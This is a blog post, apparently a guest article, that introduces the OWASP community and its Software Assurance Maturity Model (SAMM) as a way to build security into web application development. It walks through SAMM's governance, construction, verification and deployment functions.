OWASP and Uncle SAMM

Welcome! Please comment and leave me a note telling me what you like and what you'd like to see more of. Sign up to my RSS Feed!


Today we feature an article by my friend, Dan Philpott.   Dan is Federal Information Security Architect and a fount of knowledge regarding all things Federal Info Sec.  Dan is the founder of FISMApedia.org and works at Tantus Technologies


The Open Web Application Security Project

As organizations move forward into Web 2.0 and Gov 2.0, information security faces a new challenge:  web application security.  The truth is many organizations are not sufficiently aware of how important this change is.  To help build awareness and improve the art of web application security the best organization to look to is the Open Web Application Security Project (OWASP).

Information security up until now has been focused on managing the risks associated with network security and platform security.  That is, identifying security risks based on threats against network perimeters or host perimeters.  Web application security challenges these paradigms, with threats that bypass perimeters by attacking vulnerabilities in trusted web applications that cross them.

Security staff often look only to determine the web server and host operating system is secure and that firewall rules are in place. For example, security staff often look to determine whether the host operating system, web server and firewall protections in place without checking to see if vulnerabilities exist in the web application code.  Vulnerabilities in the web application will often bypass the firewall rules, leave the host operating system untouched and allow input of malicious code into the web application affecting subsequent users.

Web application security risks run the gamut from mundane comment spam to ex-filtration of entire databases.  The technology and tools necessary to combat web application security threats are sufficiently different from those of traditional security that simply adding new tools for point defense is insufficient to the task.  There are tools that can help such as Web Application Firewalls or Web Application Vulnerability Scanners but these tools only address a small subset of vulnerabilities.  

What is needed is a change in the development of web applications themselves.  Web applications to date are typically developed quickly and tested primarily for functional requirements, not security requirements.   It is the process of web application development that must be modified to optimally affect increased security.  There are many methods for this but the organization that has done ground breaking work in this area is OWASP.

OWASP is an open community of volunteers focused on the development of tools and methods allowing organizations to develop secure applications.  It provides a focus to a variety of initiatives working towards improving application security.  The organization itself is a 501(c)(3) entity, a type of non-profit U.S. corporation, and is not closely tied to any single commercial interest.  This allows it to be non-partisan and unbiased with the tools and methods it produces.  All OWASP material are released under Free/Libre Open Source Software (FLOSS) licenses such as Gnu Public Licenses (GPL), Berkeley Software Distribution (BSD) license or Creative Commons (CC) licenses.

There are many OWASP projects that can help an organization develop an effective web application security program.  A catalog of OWASP projects is available and it is highly recommended that this be perused to find ones that can best aid your organization.  One project in particular, the Software Assurance Maturity Model (SAMM), holds the promise of helping organizations raise the level of their web application security through systematic improvements in development group.

Described as "an open framework to help organizations formulate and implement a strategy for software security that is tailored to the specific risks facing the organization" SAMM seeks to improve security by enhancing application development business functions.  Specifically the business functions addressed are:

  • Governance – processes and activities related to how an organization manages overall software development activities[1]
  • Construction – processes and activities related to how an organization defines goals and creates software within development project;
  • Verification – processes and activities related to how an organization checks and tests artifacts produced throughout software development; and
  • Deployment – processes and activities related to how an organization manages release of software that has been created.

Each of these business functions encompasses a variety of activities that a development group must practice in the course of normal development efforts.  SAMM then defines three security practices for each business function and provides a means of measuring the maturity of each practice.  In this way overall maturity of the development process as regards information assurance is assessed and the organization can take actions to improve.  

SAMM addresses the root of the web application security problem, poor development practices.  Too often security is considered an external practice to development and addressed at the end of the development process where it can offer the least benefit.  Even when security staff are approached at the beginning of a project there is often insufficient experience with development to properly assess the threats and vulnerabilities. SAMM can help address these problems by ensuring developers are cognizant of risk during development, applying their expertise in a secure manner.  By reinforcing secure practices the organization can improve beyond simply reacting to vulnerabilities after the fact to preventing vulnerabilities from ever being introduced.


[1] Chandra, P (2009, March 25). Software Assurance Maturity Model – A guide to building security into software development, Version 1.0. Retrieved September 1, 2009, from OpenSAMM Web site: http://www.opensamm.org/downloads/SAMM-1.0.pdf